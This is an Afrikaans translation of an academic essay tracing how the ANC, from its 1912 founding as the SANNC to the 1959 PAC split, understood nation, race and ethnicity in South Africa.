Tag Archives: Suid-Afrika

Die ANC en die konsep van Nasie

Download PDF

Afred Bosch, Centre d’estudis africans, Universiteit van Barcelona

“The people, the real people, do not support Inkatha.  They are with the ANC.”

(Teni, Soweto-aktivis 1993)

Die African National Congress (ANC) beskou en definieer sigself as die grootste nasionale bevrydingsbeweging in Suid Afrika.  Hierdie strewe word reeds in sy naam verwoord.  Wat die leerstellinge betref, stel die belangrikste segsmense hulself voor as instrumenteel in die onherroeplike verandering oor rasse-, kulturele, linguïstiese, etniese, geslags-, ens. grense heen.  Só wil hulle die samelewing wat hulle graag sou wou verteenwoordig, sien.  Enige bespreking rondom die ANC se politieke oriëntasie, veral in die binnekringe van die organisasie, blyk egter ‘n futiele oefening te wees, byna lasterlik

Dit is juis hierdie selfversekerdheid omtrent die nasionale of nasionalistiese siening wat redelike kommer wek:  want wat het nasie in die verlede beteken en wat beteken dit vandag?  Watter staatsvorm word daardeur geïmpliseer?  Hoe is dit veronderstel om in te pas by die labirint van Suid-afrikaanse identiteite?   En verder nog:  is die idee van nasie wat vandag, so geïdealiseer en begeer,  deur die ANC voorgestaan word, gegrond op ‘n werklikheid of is dit slegs ‘n soeke gegrond op ‘n abstraksie?  Was dit van meet af aan reeds daar, gereed om enige oomblik ontdek te word, of is dit gebore uit spesifieke politieke oogmerke, vol illusies en waan?

Die stigterslede van die beweging het nie dieselfde kernbetekenis geheg aan die idee van ‘n Suid-Afrikaanse nasie as wat hul opvolgers gedurende die tweede helfte van die eeu daaraan heg nie.  Vir hulle beteken nasie vandag swart nasie; die res word ten beste as buurnasie beskou (G. Mbeki, 1992, p.26). Die nuwe ontluikende politieke mag is, in 1912, entoesiasties die South African National Native Congress (SANNC) genoem.  Eers in 1923 word die naam verander na ANC.  Sy eweneens entoesiastiese sameroepers het toe die beweging gesien as ‘n groepering van uitgelese Afrikane, strydendes om die toelating van die swart gemeenskap tot burgerregte.  Dit het dus eerder daaroor gegaan om waarborge t.o.v. beskerming van die staat te verkry, asook toelating daartoe, as om die skepping van ‘n nie-rassige, kultureel-oop, ens., samelewing.  Die aanvanklike eise van die SANNC moet gesien word in die lig van wat vandag eweseer geldig is:  Suid Afrika behoort in alle eerlikheid aan Afrikane wat dit heelhartig en op ‘n gelyke voet met ander groepe wil deel.  Die SANNC se eertydse idee van ‘n verbond tussen nasies en die huidige standpunt van die ANC, verskil egter hemelsbreed.  Op dieselfde wyse as wat Dube, Seme of Plaatje in 1912 uit die staanspoor ‘n interstam- (en nie anti-stam- nie) filosofie aangehang het, het die SANNC se idee van nasie nie voorgegee, of geweet hoe, om ‘n suksesvolle teenvoeter te wees vir die ondier van rassisme nie.

Vanweë dié feit was die politieke debat in Suid Afrika sedertdien nog ononderbroke en skaamteloos opgesaal met ras en nasie.  Hier en daar poog outeurs om onderskeide te tref (Maré, 1992, p.50), maar ná soveel jare se segregasie, blyk dit ‘n amper onmoontlike taak te wees (sien, die uiters deurmekaar, Grobler, 1993).  Die ANC het dié vraagstuk, teoreties gesproke, tot en met 1955 (Charter of Liberty), en in die praktyk tot 1985 (J. Frederikse, 1990, p. 242) vermy.  Die nasionalisme van die ANC se pioniers, terwyl dit aanvanklik ooglopend nie-diskriminerend was,  het onvermydelik ook eksklusiwiteit behels.  Selfs met hul visier op ‘n nie-rassige staat ingestel, loop die bekende ou spook van rassisme vandag nog by die debat oor ‘n nuwe territoriale model

Vanselfsprekend is só ‘n debat onvermydelik en selfs natuurlik.  Maar dit behoort ‘n mens dan nie te verhoed om dié twee konsepte uiteindelik van mekaar te skei nie (‘nasie’ en ‘ras’) of om ten minste bedag daarop te wees wanneer hulle met mekaar verwar word en waarom dit gebeur.  Dis nou maar eenmaal so dat die twee woorde afsonderlike betekenisse dra wat nie sondermeer vir mekaar kan instaan nie, nie eers in Suid Afrika nie. Ras het betrekking op fisieke verskille, terwyl nasie weer op kulturele verskille dui en dit bring mee dat die twee soms oorvleuel.  Binne die perke van hierdie stuk wil ons indringend kyk na die ANC se aanvaarde nasionalistiese ideologie, in die besonder beskou waar verskillende konsepsies aangaande ras (‘Racialism’  o.a. as swart bewussynsterm wat daarop neerkom dat négritude meerderwaardig is)  deel uitmaak van die heersende diskoers.

Die Groot Alliansie van Stamme

Moshoeshoe I, koning van Lesotho, het op sy dag gedroom van ‘n groot koalisie van Afrika-nasies wat die blanke koloniseerder van koers af sou kon bring, of ten minste sou kon stuit in sy uitbreiding in Suidelike Afrika.  Hy kon nooit aan sy onderneming gestalte gee nie, maar ten spyte daarvan het hy tog die stigting van ‘n klein protektoraat beleef wat ‘n eeu later, geëmansipeer, as die Koningryk van Lesotho bekend  sou staan.

Die Groot Alliansie egter, sou eers ‘n paar dekades later die lig sien, soos beliggaam deur die SANNC.  Die inisieerders van dié nuwe projek was nie gekroondes òf Afrika-aristokrate nie, maar wel advokate, dokters, onderwysers, kerklikes en verstedelikte intellektuele.  Selfs as goed gedefinieerde groep, was hulle ontvanklik vir tradisionele hiërargie en het hulle daarin geslaag om heelwat volgelinge onder dieselfde vaandel te vereenig.  Pixley I ka Seme, ‘n Zoeloe-advokaat, se uitspraak benadruk hul oproep om saam te staan:

“Die duiwel van rassisme, die afskuwelike twis tussen Xhosas en Fingoes, die heersende onmin tussen  Zoeloes en Tsongas, tussen Sothos en ander inheemse volke, moet begrawe en vergeet word…  Ons is een volk.  Die onderlinge verdelings en jaloesieë is die oorsaak van al ons hartseer en ons agterstand” (R. Rive, 1991, p.10).

‘n Gevoel van doelloosheid en onmag teenoor die wit aggressor het die opkomende swart middelklas reeds sedert die einde van die negentiende eeu daartoe genoop om interstam-organisasies te skep.  Dit was die doelwit van provinsiale kongresse, die Vereeniging van Kaapse Kiesers of  Imbumba Yama Afrika omdat die gewapende stryd, logies gesproke, misluk het vanweë die versplintering en talle onderlinge konflikte wat swartes verdeel het.

Na afloop van die opstande het die gebrek aan geloofwaardige leiers gelei tot die opkoms vanuit die sendingstasies van ‘n opgevoede Christelike elite, wat nie alleen onderlê was in universalisme en materiële vooruitgang nie, maar ook beskik het oor ‘n model vir ‘n interetniese maatskappy.  Gevolglik kon hulle staatmaak op die samewerking van Afrikane ten spyte van die wrewel waarna Seme verwys (UNESCO, 1987, p.245).  Amptelike geskiedskrywers was bewus hiervan en hierdie interetniese alliansie is as dié groot sukses van die SANNC uitgebeeld.  Albert Luthuli, wat in sy outobiografie (A. Luthuli, 1989, p. 1-82) die leiers vir hul beskroomdheid en onderdanigheid kritiseer, loof egter hul sin vir eenheid en die selfopoffering wat daatoe lei dat stedelike en stambelange saamsmelt.  Komende van Luthuli, president van die beweging en self prinslike afstammeling, dra hierdie lofbetuiging besondere betekenis.

Die amptelike ANC-geskiedskrywers voer egter die mitifisering van die ontstaan van die organisasie tot algehele buitensporigheid.  Francis Meli, byvoorbeeld, stel dié geskiedkundige oomblik voor as kulminasie van ‘n nuwe betrokkenheid – nie stamgebonde nie – wat fundamenteel anti-koloniaal en daarom anti-sendeling sou wees.  Hy voeg by:

“Daar word gesê dat hierdie konferensie (van 1912) nie alleen die geboorte was van die ANC nie 

maar ook van ‘n nasie – die ANC het as’t ware as vroedvrou by die proses van renaissance en nasionale  regenerasie ingestaan…  Dit was ‘n nasionale reddingsdaad, ‘n voortsetting – binne ‘n nuwe historiese raamwerk – van die stryd van ons volk teen kolonialisme, wat reeds lank vóór kolonialisme self begin het” (F. Meli, 1988, p.40).

Solomon T. Plaatje, een van die eerste algemene sekretarisse van die SANNC, daarenteen, werp ‘n ander, minder essensialistiese blik daarop en plaas die klem op die vermoë van die organisasie om oorleg tussen uiteenlopende belange te bewerkstellig.  In sy belangrikste werk, Native Life in South Africa, lewer hy ‘n pleidooi teen die Land Act van 1913 (wat slegs 7,3% van die oppervlak van die land beskikbaar stel aan swart mense sover dit besit en boerdery aangaan.), en onderstreep die eenheidsgevoel wat die wet onder swartes teweeggebring het.  Uit ‘n aanhaling in die Engelse pers meen Plaatje dat:  “Suid-afrikaners (wittes) was nog altyd bang vir gesamentlike aksie deur inheemse volke, maar met dié wet het hulle die maklikste manier gekies om alle swart mense te irriteer” (S. Plaatje, 1916, p. 179).

Met die ontstaan van Suid Afrika in 1910 was die idee van ‘n blanke nasie-staat wat swart mense uitsluit en hul burgerskap weier, die resultaat van ‘n samesmelting van Boere-nasionalisme en Britse imperialisme.  Deur Afrikane is dit as heiligskennis beskou.  Die Land Act en ander wetgewende maatreëls sou ook, stadig maar seker, die uiteindelike rigting wat dit ingeslaan het, bevestig.

Die eerste Congress is, met ander woorde, hoofsaaklik gevorm uit reaksie teen ‘n verwronge en arrogante eurosentriese nasie-projek,.  Logies gesproke was die stigting van ‘n afrosentriese klub, of as ‘n mens wil, ‘n rasgebonde een, die enigste verweer.  Ten spyte daarvan sou daar tog ‘n verskil wees:  terwyl ‘n bleek Suid Afrika die bo-toon voer met segregasie, het die gekleurde en ondergeskikte Suid Afrika na vore getree ten gunste van uiteindelike integrasie.  Net soos die Unie van Botha en Smuts dit nie kon vermag om verskille tussen die wit stamme op te hef nie, so ook kon die alliansie tussen Seme en Plaatje nie daarin slaag om die verskille tussen hul eie groepe ter wille van ‘n swart nasie op te los nie.  Om die waarheid te sê, hulle het nie eers voorgegee om te probeer nie.

Die nuanse is belangrik omdat dit die deurslagewende verskille tussen die eertydse Congress en die huidige een verklaar: sy nasionalistiese denke slaan ‘n ander rigting in tydens die vyftigerjare om dan later, tydens sy ballingskap, voltrek te word.  In só ‘n mate dat die SANNC, ten spyte van sy naam, meer nasionalisties as nasionaal raak.  In teenstelling daarmee bly sosiale gedrag, veral onder ‘n meerendeels landelike bevolking, steeds beantwoord aan die kulturele, linguïstiese, mitologiese en territoriale modelle van ‘n Moshoeshoe, Shaka of  Makana.

Binne die SANNC self lyk dit ook nie heeltemal soos anglofone unitarisme nie, selfs al probeer die bourgeois alchemiste, ge-coller en ge-tie, vanaf 1912, die filosofiese klip van ‘n multi-etniese Afrikanisme smee.  Sedert sy begin reeds bestaan die Congress uit twee kamers, ‘n senaat saamgestel uit stamhoofde en ‘n laer kamer.  Selfs al het die laer kamer se afgevaardigdes besluite geneem en die organisasie bestuur, bly die feit dat dit ‘n aristokratiese parlement was ‘n duidelike en noodsaaklike konsessie aan die grotes van Azanië se tradisionalisme.

Die ANC wil vandag – met die uitsondering van ‘n paar aanloklike inisiatiewe ter elfder ure –  nie erken dat só ‘n konsessie ooit bestaan het nie.  Omdat stamhoofde in die verlede met Pretoria geflikflooi en die sluier oor etniese spesifisiteit gelig het, plaas dit die ANC se unitêre patriotisme onder verdenking en beliggaam hulle ‘n verouderde nasionalisme wat oor die algemeen met agterdog bejeën word.  Oor die afgelope tagtig jaar het die samelewing vannselfsprekend ook onomkeerbare veranderinge ondergaan:  die ewolusie van die ANC is ‘n getroue weerspieëling van industrialisering, verstedeliking en, kan ‘n mens maar met ‘n mate van voorbehoud sê, die modernisering van Suid Afrika.  Maar daarby het iets anders ook verander en bes moontlik na aanleiding van ‘n strukturele transformasie.

In teenstelling met wat Francis Meli en ander hedendaagse essensialiste wil beweer, het die primitiewe SANNC sigself nie uitgegee vir ‘n nasionale reddingsdaad nie, nóg minder probeer om lewe te blaas in die idee van ‘n universele lotsbestemming van atavistiese eenheid, wat verlore gegaan het met die aanvang van kolonialisme.  Die groot alliansie het ‘n baie wyer basis gehad as wat vandag bekend staan as die Republiek van Suid Afrika met ‘n mate van verwarring t.o.v. die essensiële kriterium wat elke nasionale doktrine en territoriale identifikasie vereis.  Die eerste grondwet van die SANNC het die insluiting van afgevaardigdes uit die eertydse Rhodesië asook die drie protektorate (die huidige Botswana, Lesotho en Swaziland) in die vooruitsig gestel.  Onder die stigterslede van die SANNC was daar ‘n Sotho (uit wat vandag bekend staan as Lesotho), Maama Seiso en ‘n Tswana (uit Botswana), Joshua Molema; en onder die erepresidente van die eerste kamer was die koning van Lesotho, Letsie II (UNESCO, 1987, p. 724).

Seme, die groot politieke inkwisiteur wat boos na die afskuwelike twis tussen Xhosas en Fingoes, Zoeloes en Tsongas verwys het, was baie gesteld op sy eie afkoms en sy bande met sekere adelslui.  Gedurende sy studieverblyf  in New York was hy eerder as Zoeloe-nasionalis bekend as wat hy ‘n voortstander van ‘n unitêre Suid Afrika was (R. Rive, 1991, p. 87).  Hy het as advokaat die Swazi-monargie verteenwoordig, wat weer op hul beurt die amptelike orgaan van die Congress, Abantu-Botho (UNESCO, 1987, p. 726) gefinansier het.  Die jong Seme het ook ‘n sagte plek vir die Zoeloe-adel gehad en het koning Dinizulu se dogter só goed leer ken – in die Bybelse sin van die woord – dat sy met hom moes trou.  In die jare dertig raak hy uit en uit ‘n tradisionalis en probeer om die Eerste Kamer, wat na minder as twintig jaar reeds verdwyn het, te reabiliteer.

Plaatje, ‘n Tswana, wat swart belange in die Transvaal en Oranje Vrystaat verdedig het, kon ‘n hele paar inheemse tale praat en het daarby ook ‘n belang by kiesers in die Kaap gehad (sy vrou was ‘n Fingoe).  Sy biograaf meen dat dié talent daartoe bygedra het dat hy tot sekretaris-generaal verkies is.  Nie net was hy ‘n groot kenner van die stamstelsel nie, maar ook ‘n kampvegter vir  die Tswana-taal en hy het sterk daarop aangedring dat ‘n aristokratiese gesag geskep word met agt hoofde as ere-ampsdraers van die SANNC.  Laasgenoemde  versoek is hom gegun, hoewel ‘n inheemse naam vir die beweging afgewys is (B. Willan, p. 153-155).

Die voorafgaande feite weerspreek hoegenaamd nie die fundamentele premisse van die Congress se stigterslede nie:  die skepping van ‘n nuwe, intervolk-, Afrikanasie aan die suidpunt van die swart kontinent.  Twee onderskeidende kenmerke moet egter in aanmerking geneem word.

-Eerstens is die werklikheid van multi-etnisiteit nie oor die hoof gesien nie.  In só ‘n mate dat, ten spyte daarvan dat die kern van leiers uit ‘n klein professionele kosmopolitiese klas gekom het, die basis berus het op ou stamstrukture.  Dit was tradisioneel en landelik en deur vele nog beskou as die ware volke van Afrika.

-Tweedens was die houding van die Congress se patriargie van só ‘n aard dat ‘n mens nie sou kon sê die groot alliansie is voorgehou as die ontwaking van ‘n slapende volk, wat dadelik in staat was om alle stamverskille te kon oorbrug nie, maar as die skepping van ‘n nuwe moontlikheid.  Hul visie, soos weerspiëel in die nuwe program, was eerder een van samewerking as van essensialisme:  dit  het ‘n historiese breuk t.o.v. die verbrokkelende anti-koloniale stryd bewerkstellig.  Overgezet synde, was die aard van die aanbevole politieke en territoriale entiteit nie duidelik nie en sou dit ewolueer na gelang van veranderende omstandighede in die stand van dag-tot-dag politieke bestuur.  Die idee van die insluiting van Rhodesië en die protektorate sou laat vaar word; konsolidasie van die Unie – en later die Republiek van Suid Afrika – se grense sou dit laat sneuwel.  Die erkenning van etniese groeperings – òf dan verdraagsaamheid daarteenoor – sou verflou as gevolg van Pretoria se slagspreuk:  “verdeel en heers”.  Veral ná die Nasionale Party en D.F. Malan se oorwinning.

Moshoeshoe se droom is bewaarheid, ten minste die pasifistiese en konstitusionele deel daarvan.  ‘n Nuwe Afrikapatriotisme, pluraal en interetnies, het ontstaan wat ewe interprovinsialisties was as die blanke Unie, d.w.s. gegrond op vier administratiewe gebiede – twee voormalige Britse kolonies en twee voormalige Boererepublieke – wat grotendeels outonoom was ná die stigtingsooreenkoms in 1910.  Nog baie water moes egter in die see vloei om by die huidige ANC se idee van ‘n gesentraliseerde nasie-staat waar gelykheid, nie-rassigheid, nie-seksisme en nie-stamgebondenheid heers, uit te kom.  Die Jakobynse beskouing van ‘n onafhanklike en soewereine land, bestaande uit burgers en nie groepe nie, sou eers ‘n paar dekades lank moes wag.

Nasie van Nasies?

Tot en met die einde van die Tweede Wêreldoorlog het die leiers van die ANC ‘n onduidelike en versoenende toon gevoer t.o.v. die kwessie van nasionalisme; om die waarheid te sê t.o.v. allerlei kwessies.  Denkrigtings uit hul geledere het oorheersend die verlede en hede van Afrikane aangespreek sonder om te veel stil te staan by die uiteenlopendheid van volke wat die kulturele rykdom van die swart gemeenskap gevorm het.  John Henderson Soga, kleurling-akademikus en seun van Tiyo Soga – op sy beurt weer die land se eerste swart pastoor wat daarbenewens ook nog die vermetelheid gehad het om met ‘n Skotse dame te trou – het dit só voorgestel in sy groot kroniek oor die Nguni (J.H. Soga, 1930).

Intussen het die sterk opkoms van nasionalistiese Afrikanerkiesers (D. Harrison, 1981 en W.A. de Klerk, 1975) die ander groepe met dieselfde moontlike aspirasies in ‘n hoek gedwing wat die skepping van ‘n staat betref.  Ten eerste het die volgelinge van Barry Herzog, en later dié van Dr. Malan, van die Afrikaniste gedwing, waarvan etlikes ook blank was, om die antropologiese aannames wat hulle gemaak het, te hersien.  Die vraag  oor eenheid in die interetniese front van die Congress is egter nooit geopper nie en die paar nuwe organisasies het slegs binne die grense van kultureel homogene sones gefunksioneer (ICU Yase Natal, die Bantu Union en Convention in die Oos-Kaap, of die Bunga wat deur die regering in die Transkei geloods is).  Die provinsiale strukture binne die organisasie het onafhanklik gefunksioneer; in só ‘n mate dat daar sprake van afstigting was.  Die mees konserwatiewe persoonlikhede in die ANC (Selope, Theme, Champion en selfs Seme) het ‘n ekstremistiese Afrikanisme voorgestaan wat veelrassigheid en sosialisme vir die progressiewe vleuel minder aanloklik laat lyk het.

Die gesalfde helde van die Congress wat tydens die dertigerjare na vore getree het, het self ook nie aan teenstrydighede ontkom nie. Die erudiete rektor van die Universiteit van Fort Hare en neef van Plaatje, Prof. Z.K. Matthews, was ook van Tswana-afkoms maar beslis ‘n ondersteuner van unitarisme.  Hy kla in sy outobiografie:

“Ons leer om in twee wêrelde te leef…  Die een wat ons in werklikheid vir ewig wil afsweer (die stam), en die ander wat ons geen geleentheid bied om op enige ander manier te ontwikkel nie.  Ons sal nog later besef dat dit die proses van vervreemding van ons stamverbande was.”(Z.K. Matthews, 1983, p. 217)

Hierdie fenomeen waarna Matthews verwys geskied nie altyd onwetend nie.  Terwyl die gevolg van integrasie in ‘n multi- of a-etniese stedelike omgewing vanselfsprekend vervreemdend sou wees, was Matthews se stam egter besig om toenemend onder die invloed van bantoestanisering soos deur Pretoria afgedwing, te kom.  Die Zoeloe-hoofman, Albert Luthuli, beskryf hierdie konflik wat hy ook in eie wese ervaar, nog voordat hy hoofman en daarna president van die ANC sou word:

“Afrikane is vasgevang in ‘n ware dilemma – ons voel onsself daartoe genoop om ons lojaliteit aan ons stamhoofde te beaam terwyl ons sonder enige twyfel weet dat hulle besig is om in marionette van die Nasionaliste (Afrikaners) te verander” (A. Luthuli, 1989, p. 67).

Luthuli wy etlike fassinerende bladsye aan sy rol as hoof van die sendingstasie Umvoti en vertel hoedat ‘n klimaat van wedersydse hartlikheid en warmte tussen stedelike en plattelanse Afrikane geheers het in die dertigerjare.  Om die waarheid te sê, sý persoonlike trajek bewys in hoe ‘n mate die etniese projek van die Afrikaners aan die begin van die vyftigerjare met hul eie logika sou bots.  Dit sou aanleiding gee daartoe dat hy uiteindelik moes afstand doen van die Zoeloe-hiërargie en hom moes skaar by die toenemend anti-etniese ANC.  Luthuli, anders as sy SANNC voorgangers, slaag dus nie daarin om albei passies saam te snoer nie.  Hy maak ‘n keuse.  Ander weer, het kant gekies téén een groot nasie en vír die tuislande wat Verwoerd aangebied het.  Dit, volgens Luthuli, was die “groot lokval” (A. Luthuli, 1989, p. 178 – 184).

Maar ons wil dinge nie vooruitloop nie.  Die Congress van die dertiger- en veertigerjare het destyds nie gevoel hulle moet enigsins ‘n keuse uitoefen nie.  Soos Francis Meli ook onderstreep, het die organisasie konfrontasie met etniese groepe vermy.  Hulle het eerder gepolariseer wat eenheid t.o.v. die verlies van grondgebied, vryheid en die behoud van Afrikakultuur betref (F. Meli, 1988, p. 81).  Indien ‘n mens toegee dat ‘kultuur’ in werklikheid eintlik ‘kulture’ beteken, was dié standpunt inderdaad ‘n weloorwoë een:  dis eers aan die begin van die vyftigerjare en juis kort ná die oprigting van tuislande, dat kulturele doelwitte ten koste van die begeerte om eenheid laat vaar is.  Ander vriende, buite die ANC, was in elk geval onophoudelik besig om verskille uit te wys.

Nie baie martelaars sal ten aanskoue van dié oseaan van passie, ‘n derde weg voorstel nie. Een wat opposisie teen apartheid met die redelike erkenning van die pluraliteit van mense in Suid Afrika, in samehang aandui nie.  Weliswaar moet hulle nie vergete bly nie.  Lionel Forman was een onder hulle.  As jong kommunistiese intellektueel, het hy tydens die vyftigerjare met sy skerp prosa probeer om die Congress-alliansie te beïnvloed.  Dit was dáár waar die geagte marxiste, met die voordeel van ‘n demokratiese Congress en ander liggame, kon militeer.  Forman was een van die mees vrye geeste wat ooit in ‘n Stalinistiese opset aangetref sou word en sy teoretiese geskrifte was soos ‘n vars briesie.

Reeds in 1928 het die Komintern aan sy Suid-Afrikaanse filiaal opdrag gegee om die slagspreuk,  “’n Inheemse en Onafhanklike Republiek op die pad na ‘n Werkers- en Boererepubliek” aan te neem.  Tussen die tameletjie van die oproep self en die vrees van militante om die dreigement van vernietigende stalinistiese suiwering  – wat die oproep vergesel het – te trotseer, was daar maar min wat agteroor gaan sit het om die implikasies van die bewoording uit te pluis.  In 1932 weer, herhaal die Komintern hul aanslag:

“Onmiddelikke en volle nasionale onafhanklikheid vir alle volke in Suid Afrika.  Die reg van Zoeloes, Sothos, ens., om hul eie Republieke te vorm.  Die reg van Afrikanasies om vry ‘n Federasie van onafhanklike, inheemse Republieke te vorm en ‘n regering van werkers en boere te stig.  Beskerming vir die regte van minderhede, die werkende massas Indiërs, Kleurlinge en Blankes” (E. Roux, 1948, p. 256 ; Van Diepen, 1988, p. 143).

Dié aanwysings raak in die moeras van die Suid-Afrikaanse kommunistiese organisasie van die jare dertig verlore.

In 1954, in die tydskrif Advance, neem Forman, op eie houtjie, die risiko om die aanwysings weer te gaan opdiep en die debat aan die Congress-alliansie voor te lê.  Om mee te begin, vra hy dat die term “ras” vervang moet word met “nasionale groepe” of “volke” omdat dié benamings, selfs al dui dit op verskille, na sy mening die werklikheid van Suid Afrika beter weergee (L. Forman, 1992, p. 172).  En hy benadruk wat hy beskou as kultureel bevrydende eise, teenoor onderdrukkende rassestereotipes:

“Ons Zoeloedigters moet vryheidsliedere in hul moedertaal sing – mense moet uitbars van die lag as hulle Sotho-satires oor die regering aanhoor…  Suid Afrika is nie een nasie nie.  Dis ‘n multi-nasionale staat bestaande uit ‘n sekere aantal volkere” (L. Forman, 1992, p. 173-176).

Met sy griffel geslyp, laat Forman hom nie intimideer deur die buitensporige kritiek van Yusuf Dadoo van die Indian Congress nie – ook geaffilieer by die Alliansie – of deur lede van die ANC soos Z. K. Matthews se seun, Joseph, nie.  Joe betreur dit dat die debat ontydig kom in die lig van die opposisie se fundamentele eenheid. Dié sou later in elk geval die onsegbare doen en oorloop na Inkhata, om sy eer te verruil vir ‘n pot lensiesop!  Forman ignoreer die teenstand en voer die debat verder.  Hy wend hom tot kameraad Stalin vir kundige ondersteuning, met aanhalings oor sy idee van nasionaliteit en “nasionale groep”; dus ‘n entiteit met eie linguïstiese en historiese eienskappe wat aspireer na ‘n sekere territoriale en ekonomiese samehang.  Uit die volvoering van hierdie samehang word uiteindelik dan ‘n volwaardige nasie gebore.  Forman verwys na die identifikasie van volke in Suid Afrika en die skepping van ‘n oop, sosialistiese en gelukkige samelewing, maar benadruk in dié belangrike teks, die volgende:

“Om legitieme grondgebied aan mense te waarborg  sal ‘n paar oppervlakkige denkers, wat te veel gekondisioneer is om enige idee wat na verdeling lyk, met apartheid te assosieer, verbaas.  Maar dis duidelik dat waarborge oor nasionale outonomie in ‘n populêre demokrasie geheel en al niks met apartheid te doen het nie”(id., p. 188).

Forman druk deur en organiseer ‘n simposium in die Kaap oor die nasionale kwessie, waar hy optree saam met Masabalala Yengwa van die ANC, Archibald Jordan, ‘n Afrika-linguïs, en Jack Simmons van die sentrale komittee van die Kommunistiese Party (SACP). Jack Simons, in sy blindheid, oorreageer oor dié aangeleentheid, en laat geen polemiek daaroor ontwikkel nie.  Om die waarheid te sê, hy sensureer die gesprek:

“Dit sal ‘n fout wees om onsekerheid te skep of af te wyk… en om die klem op stam-, rasse- of kulturele verskille te plaas.  Daarom moet die klem, vir dié wat deelneem aan die nasionale bevrydingsbeweging, so veel as moontlik op gemeenskaplike waardes en belange geplaas word” (id., p. 188).

‘n Paar jaar later ontstaan daar verskille tussen, onder andere, Stalin en Potekhin, die direkteur van die Etnografiese Instituut in Moskou.  Toe Potekhin uitkom met die towerwoorde,  “…kennis van probleme verhoed foute” (id., p. 191) is Forman aangevuur om nie af te sien van die verbintenis tot sy idee nie.  Dit was trouens al wat dié dapper denker nodig gehad het om kop eerste by die skrum in te duik.  Hy argumenteer dat die distorsies op die nasionale kaart van Suid Afrika veroorsaak is deur kapitalisme en imperialisme wat weer aanleiding gegee het tot migrasies en hibride vorme van nasionaliteit in mynvestings en stede.  Hy voorspel die volgende:

“Een Afrikanasie sou miskien vóór een Suid-Afrikaanse nasie in Suid Afrika kon opstaan.  Eweneens lyk dit moontlik dat die Zoeloe-, Sotho- en ander volke onafhanklik sal ontwikkel  voordat hulle verdwyn in een Afrika nasie…  Met die Congress het die eerste werklike gevoel van ‘n nasionale Afrika-eenheid ontstaan.  Maar die afsonderlike stamme was lank reeds al as nasies beskou.  Die woord ‘nasie’ word vryelik gebruik om elke afsonderlike Afrikastam aan te dui op dieselfde manier as wat dit na Afrikane in hul geheel verwys.  Die gebruik van die woord “nasie’ is, in der waarheid, in beide gevalle verkeerd (id., p. 192 –194)

Hiervandaan verder begin ons ‘vriend’ die pad byster raak.  Hy gooi alle omsigtigheid van die verlede oorboord en begin pre-Afrikavolkere uitwys:  Zoeloe, Sotho, Xhosa, Swazi, Tswana, ens., asook ander pre-pre-Afrikavolkere wat nie rekening hou met kameraad Stalin se aanwysings oor geografiese samehang nie.  Afrikaners, Kleurlinge, Engelse, Indiërs (wat, na gelang van die linguïstieke maatstawwe wat gebruik word, miskien in twee groepe verdeel kan word).  Met ‘n vrygewige gebaar, ken hy aan almal, sosialisties en vry, die reg tot selfbeskikking toe.  Potekhin gooi olie op die vuur wanneer hy wed dat Engelse en Afrikaners as ras, en die Nguni-groepe linguïsties (Zoeloe, Xhosa en Swazi), sal saamsmelt.

Sodoende raak die debat in algemene teorie verlore, sonder die simpatie van selfs die partykamerade.  Forman, wat miskien sy stellinginname m.b.t. ‘n toekomstige Suid-Afrikaanse unie van sosialistiese republieke verder sou kon verfyn, sterf voortydig in 1959 en laat die Congress-alliansie ‘n bietjie wees wat teoretici oor die nasionale vraagstuk aanbetref.

Intussen is daar in die geledere van die ANC, sover dit die alledaagse praktyk aangaan, ‘n interessante ontwikkeling waarneembaar.  Sonder enige ophef, aanvaar die Congress van Dr. Xuma (1940 – 1949) deklarasies wat die lomp, nasionalistiese skerpheid van hul voorgangers ietwat temper.  In ‘n dokument waarin die Atlantiese Verdrag (1943) behandel word, getiteld African Demands, word die afsonderlike bestaan, soos voorsien deur die ou SANNC-struktuur, vir die drie protektorate geëis.  So ook, word soewereiniteit vir Suidwes-Afrika (Namibië) in ‘n ander dokument geëis.  Die reg tot selfbeskikking van volke word dus, wat Suid Afrika betref, bekragtig, maar nie genoegsaam geëkstrapoleer om vas te stel of dit een volk sonder etniese en rasse verskille behels, en of die volkere wat hul soewereiniteit moes uitoefen, as afsonderlik gesien is nie (Karis/Carter II, 1987, p. 213).  Xuma onderneem ook ‘n ambisieuse renovasie van die organisasie en plaas die provinsies direk onder sy bestuur, terwyl besluite aanstons deur die gesentraliseerde, permanente komittee geneem sou word.  Met die totstandkoming van die ANC Youth League (ANCYL), draai die debat rondom die punt wat Forman, dalk onskuldig, wou vermy: rasseverskille.  Dis onnodig om hier die toetrede van jong Afrikaniste tot die ANC se Congress òf die leerstellinge wat voorgelê is deur Lembede, Mda, Sisulu, ens., te ondersoek. ‘n Mens kan nietemin opmerk dat dié hegte groep wat rondom Afrikanisme vorm aangeneem het (“Afrikanisme moet bevorder word…  Afrikane moet opstaan vir hul nasionale bevryding”, id., p. 300),  het die oomblik toe sy program van aksie deur die ANC-bestuur aanvaar is, krake begin toon.  Die program was ten minste ewe eksplisiet as die dokumente van die ANC se jeugliga, waarin hulle sê:  “By nasionale bevryding bedoel ons bevryding van wit oorheersing en uiteindelik politieke onafhanklikheid” (id., p. 337).  Dié houding ten spyt, is daar verskeie persoonlikhede wat hulself op daardie oomblik tot veelrassige standpunte wend.  Aanvanklik was die behoudende of “nasionalistiese” vleuel (Mda, Ngubane, Tambo) oorskadu deur die eksklusiewe groep, of “Afrikaniste”(Lembede, Sisulu, Mandela en later Sobukwe).  Met die dood van Lembede in 1947 en die gesamentlike mobilisering van die Indian Congress en radikale wittes, asook die ontwikkeling van apartheid vanaf 1948, skaar die jong leeus van die League hulle by die minderheidsgroep.  Toe Xuma in 1949 onsetel word om plek te maak vir Walter Sisulu as sekretaris-generaal van die Congress, was rasse-nasionalisme alreeds beskou as byna ‘n jeugsonde, deur ‘n marginale groepie vuurvreters onderhou (P. Walsh, 1987, p. 49-361).  Dit was hierdie einste groepie, ondersteun en aangemoedig deur vurige retoriek, wat in 1959 sou wegbreek om die Pan Africanist Congress (PAC) onder leiding van Robert Sobukwe te stig.

